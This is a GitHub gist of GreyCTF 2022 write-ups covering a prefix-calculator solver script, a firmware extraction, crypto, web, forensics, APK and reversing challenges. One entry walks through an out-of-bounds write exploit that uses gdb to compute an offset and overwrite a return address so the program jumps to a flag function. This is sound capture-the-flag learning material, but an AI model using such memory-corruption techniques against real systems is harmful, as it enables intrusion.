Skip to content

Instantly share code, notes, and snippets.

@hhdqirui
Created June 12, 2022 07:45
Show Gist options
  • Save hhdqirui/4a015d620d4cad45ec3ad29134b9dd71 to your computer and use it in GitHub Desktop.
Save hhdqirui/4a015d620d4cad45ec3ad29134b9dd71 to your computer and use it in GitHub Desktop.
GreyCTF 2022

This is a prefix operation problem. We can solve it by using a stack.

The algorithm is as follows:

  1. Establish a connection with the server and get the complete question from the server
  2. Split the string into a list of operands and operators
  3. Initialize an empty stack
  4. Iterate the list:
    1. If the item is an operator: push into the stack
    2. If the item is an operand:
      while size of stack > 0 and top of stack not in {mul, add, sub}:
      1. If the top of the stack is an operand: pop the stack 2 times, the first popped item is an operand and the second is an operator (the operator guarantee to be one of {mul, add, sub, neg, inc}). Do the operation and push the result into the stack
      2. else if the top of the stack is one of {neg, inc}: pop the top of the stack, do the operation and push the result into the stack
      3. else: push the item into the stack (this case is that the top of the stack is one of {mul, add, sub})
  5. return the top of stack

Below is the python solution to this challenge:

import socket

op = {"mul", "add", "sub", "neg", "inc"}
oop = {"mul", "add", "sub"}

def calc(ss):
    ss = ss.split()
    st = []
    for s in ss:
        cur = s
        if cur in op:
            st.append(s)
        else:
            cur = int(cur)
            while len(st) > 0 and st[len(st) - 1] not in oop:
                if st[len(st) - 1] not in op: # a num
                    sec = st.pop()
                    o = st.pop()
                    if o == "add":
                        cur = int(cur) + int(sec)
                    elif o == "mul":
                        cur = int(cur) * int(sec)
                    elif o == "sub":
                        cur = int(sec) - int(cur)
                else: # neg or inc
                    o = st.pop()
                    if o == "neg":
                        cur = -cur
                    else:
                        cur += 1
            st.append(cur)
    return st.pop()    
    
def netcat(hostname, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((hostname, port))
    start = False
    cnt = 0
    while 1:
        data = ""
        while 1:
            try:
                d = s.recv(4096)
                if len(d) <= 0:
                    break;
                if d[len(d) - 1] == "\n":
                    data += d
                    break
                data += d
            except:
                break
        if cnt > 99:    
            print(data)
        if data.startswith("You"):
            data = data[18:]
        if start:
            try:
                s.sendall("{}\n".format(calc(data)))
            except:
                print(data)
                exit()
        else:
            s.sendall("START\n")
            start = True
            print("send start")
        print(cnt)
        cnt += 1
    print("Connection closed.")
    s.close()

netcat("challs.nusgreyhats.org", 15521)

The flag is: grey{prefix_operation_is_easy_to_evaluate_right_W2MQshAYVpGVJPcw}

As seen from the source code, there is no validation on the index inputted by user. As such, we can input an index that is negative or larger than the limit of the leaderboard array to overwrite the base pointer to change program flow.

We use "gdb" by running the program gdb easyoob. From the source code, we know that we want the program to execute the function ezflag. So we run the command disassemble ezflag to get the address of this function. Running the command gets the following:

gdb-peda$ disassemble ezflag
Dump of assembler code for function ezflag:
   0x00000000004011b6 <+0>:     endbr64
   0x00000000004011ba <+4>:     push   rbp
   0x00000000004011bb <+5>:     mov    rbp,rsp
   0x00000000004011be <+8>:     lea    rdi,[rip+0xe43]        # 0x402008
   0x00000000004011c5 <+15>:    call   0x401090 <system@plt>
   0x00000000004011ca <+20>:    nop
   0x00000000004011cb <+21>:    pop    rbp
   0x00000000004011cc <+22>:    ret
End of assembler dump.

So the address of the ezflag function is at 0x4011b6, and it is 4198838 in decimal.

Then we run the command r to run the program and write some values at the 0th index to the leaderboard array to find the address of the leaderboard array, by feeding in 2 0 4198838 0. And then we create a segmentation fault by attempting to write in some out of bound position by feeding in 2 10090909090 4198838 0. The following output is obtained:

[----------------------------------registers-----------------------------------]
RAX: 0x4011b6 --> 0xe5894855fa1e0ff3
RBX: 0x0
RCX: 0x4011b6 --> 0xe5894855fa1e0ff3
RDX: 0x8002cbb74400
RSI: 0x59770da200000002
RDI: 0x7ffffffed6f0 --> 0x4011b6 --> 0xe5894855fa1e0ff3
RBP: 0x7ffffffed6d0 --> 0x7ffffffed790 --> 0x401530 --> 0x8d4c5741fa1e0ff3
RSP: 0x7ffffffed6b0 --> 0x59770da200000002
RIP: 0x4013ac --> 0x489848e4458b0289
R8 : 0x0
R9 : 0x0
R10: 0x7fffff19ebc0 --> 0x2000200020002
R11: 0x4020f3 --> 0x64255b202e642500 ('')
R12: 0x4010d0 --> 0x8949ed31fa1e0ff3
R13: 0x7ffffffed870 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)

From the line RSP: 0x7ffffffed6b0 --> 0x59770da200000002, We can see that the address of the base pointer is at 0x7ffffffed6b0. Then we just need to find the position of the leaderboard array and then we can know the offset to overwrite the base pointer. We can acieve this by the command x/100x and we can see that:

0x7ffffffed6f0: 0x00000000004011b6      0x0000000000000000
0x7ffffffed700: 0x00007ffffffef1d8      0x00007fffff62b710
0x7ffffffed710: 0x0000000000000000      0x0000000000000000
0x7ffffffed720: 0x0000000000000000      0x0000000000000000
0x7ffffffed730: 0x000000000000000d      0x00007fffff402660
0x7ffffffed740: 0x00007ffffffed7a8      0x0000000000f0b5ff
0x7ffffffed750: 0x00000000000000c2      0x000000000040157d
0x7ffffffed760: 0x00007fffff410b40      0x0000000000000000
......

At 0x7ffffffed6f0, the value is 0x00000000004011b6, which is exactly the same as the value we feed in, so the address of the leaderboard array is 0x7ffffffed6f0. Since the size of an entry is 8 bytes (it has two integer), the offset we need is -3.

Therefore, we can feed in 2 -3 4198838 0 to overwrite the value of base pointer to make it point to the ezflag function. So on return on the function, the program will go to ezflag and run it and we will get the flag.

However, the exploit does not work, so we proceed to follow the second hint to set the return address to ezflag+5 so we feed in 2 -3 4198843 0 and we get the flag grey{g00d_j0b_n0w_g0_7ry_easyoob2}.

By inspecting the source code, encryption key is unknown, plain text is partially known, and encrypted text is known. We also know that it encrypt the plain text by first dividing the plain text into 10 subtring of length 4, and use each substring to xor with the key, and concatenate the result together to generate the encrypted text.

We already know that the first substring of the plain text, which is b'grey'. We can use it to derive the encryption key. By experimenting, we know that the ecrypted text for each substring is of length 8. We can then take the first 8 character of the encrypted text, which is 982e47b0, to convert it to byte first and then do xor with the first substring of plain text, which is b'grey', and we can get the encryption key. We use the encryption key to decrypt the encrypted text by doing the xor operation between the substring of encrypted text and the key, and can get back the plain text, which is the flag: grey{WelcomeToTheGreyCatCryptoWorld!!!!}

We first use the tool binwalk to inspect the file and get the following output:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
1105744       0x10DF50        uImage header, header size: 64 bytes, header CRC: 0x39150100, created: 1978-08-22 13:45:13, image size: 204509413 bytes, Data Address: 0x33FF2FE1, Entry Point: 0x2099E5, data CRC: 0x52E3, OS: 4.4BSD, image name: ""
1164816       0x11C610        CRC32 polynomial table, little endian
1187240       0x121DA8        Flattened device tree, size: 1789 bytes, version: 17
1189888       0x122800        uImage header, header size: 64 bytes, header CRC: 0x2E68CDF5, created: 2021-10-24 09:01:35, image size: 596535 bytes, Data Address: 0x4000000, Entry Point: 0x4000000, data CRC: 0x3982880E, OS: Firmware, CPU: ARM, image type: Firmware Image, compression type: none, image name: "U-Boot 2019.07 for zynq board"
1191944       0x123008        CRC32 polynomial table, little endian
1549184       0x17A380        SHA256 hash constants, little endian
1772908       0x1B0D6C        Flattened device tree, size: 13579 bytes, version: 17
1789952       0x1B5000        Flattened device tree, size: 4456688 bytes, version: 17
1790180       0x1B50E4        gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)
5248724       0x5016D4        MySQL MISAM index file Version 10
6232576       0x5F1A00        Flattened device tree, size: 12734 bytes, version: 17
18874368      0x1200000       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2285698 bytes, 840 inodes, blocksize: 262144 bytes, created: 2021-10-24 09:01:35

We can see that starting at byte 18874368, it is a squashfs filesystem which may contain the file we are interested in.

We need to separate this segment of binary out so that we can do the decompression. We can run the command dd if=firmware.img skip=18874368 of=output_file bs=1. This command specifeis the input file is firmware.img, output file name is output_file. As the filesystem starts at byte 18874368, we specify in the command to skip the first 18874368 bytes. And we also specify a block size of 1.

Then we run the command unsquashfs output_file to extract the files, and we have a new directory squashfs-root. We can then run the command grep -rnw 'squashfs-root' -e 'grey' to find the files containing the flag, and we get the flag: grey{inittab_1s_4n_1mp0rt4nt_pl4c3_t0_l00k_4t_wh3n_r3v3rs1ng_f1rmw4r3} in the output

squashfs-root/etc/inittab:5:# you found me! grey{inittab_1s_4n_1mp0rt4nt_pl4c3_t0_l00k_4t_wh3n_r3v3rs1ng_f1rmw4r3}
  1. Upon inspecting the site, I found a draw() function in clumsy-min.js that would display the flag if the score attained in >= 31337. image

  2. After inspecting the function, I realized that the flag shown is generated by a genFlag() function, which I found in the same file. image

  3. After calling genFlag() in the console, I could see the contents of the flag.

So the flag is greyctf{5uch_4_pr0_g4m3r}.

  1. Open the pcap file with WireShark
  2. Type http in the filter and press Enter
  3. Double click the first packet, expand all under MIME section, the flag can be found under textual data section

Flag: grey{wireshark_exiftool_are_good}

  1. Upon downloading the memory-game.apk file, I made use of Apktool (https://github.com/iBotPeaches/Apktool) to decompile it using the following command: apktool d memory-game.apk
  2. From the challenge description, I realized that I would have to look for an image file (.png, .jpeg, etc.) which may contain the flag.
  3. After going through the different folders, I found a flag.png file in the ./res/drawable-hdpi/ directory. With the small number of files, it was possible to look through all of them manually. However, running the following command on the memory-game directory would help to locate the file as well: find . -type f -name "*.png" | grep flag image
  4. Upon opening flag.png, the flag is displayed.

Flag: grey{th1s_1s_dr4w4bl3_bu7_e4s13r_t0_7yp3}

From the question statement, we know that the binary is packed. So we will first need to unpack it. This can be achieved by running the command upx -d parcel and we will get an unpacked binary, parcel.upx. When we run the binary, we know that it asks for addresses of the functions h12, t80, and g20.

To find the addresses of these functions, we can use the command: objdump -t parcel.upx | grep <function_name>, and we get the addresses are: 0x403215 for h12, 0x406891 for t80, and 0x402e21 for g20. The decimals are: 4207125, 4221073, and 4206113.

We run the binary and feed in the three addresses accordingly and we will get the flag: grey{d1d_y0u_us3_nm_0r_objdump_0r_gdb_0r_ghidra_0r_rizin_0r_ida_0r_binja?}.

Go to the disord server, #rules channel and the the flag under point 1.

Flag: grey{1_h4ve_read_da_rules_and_4gr33}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment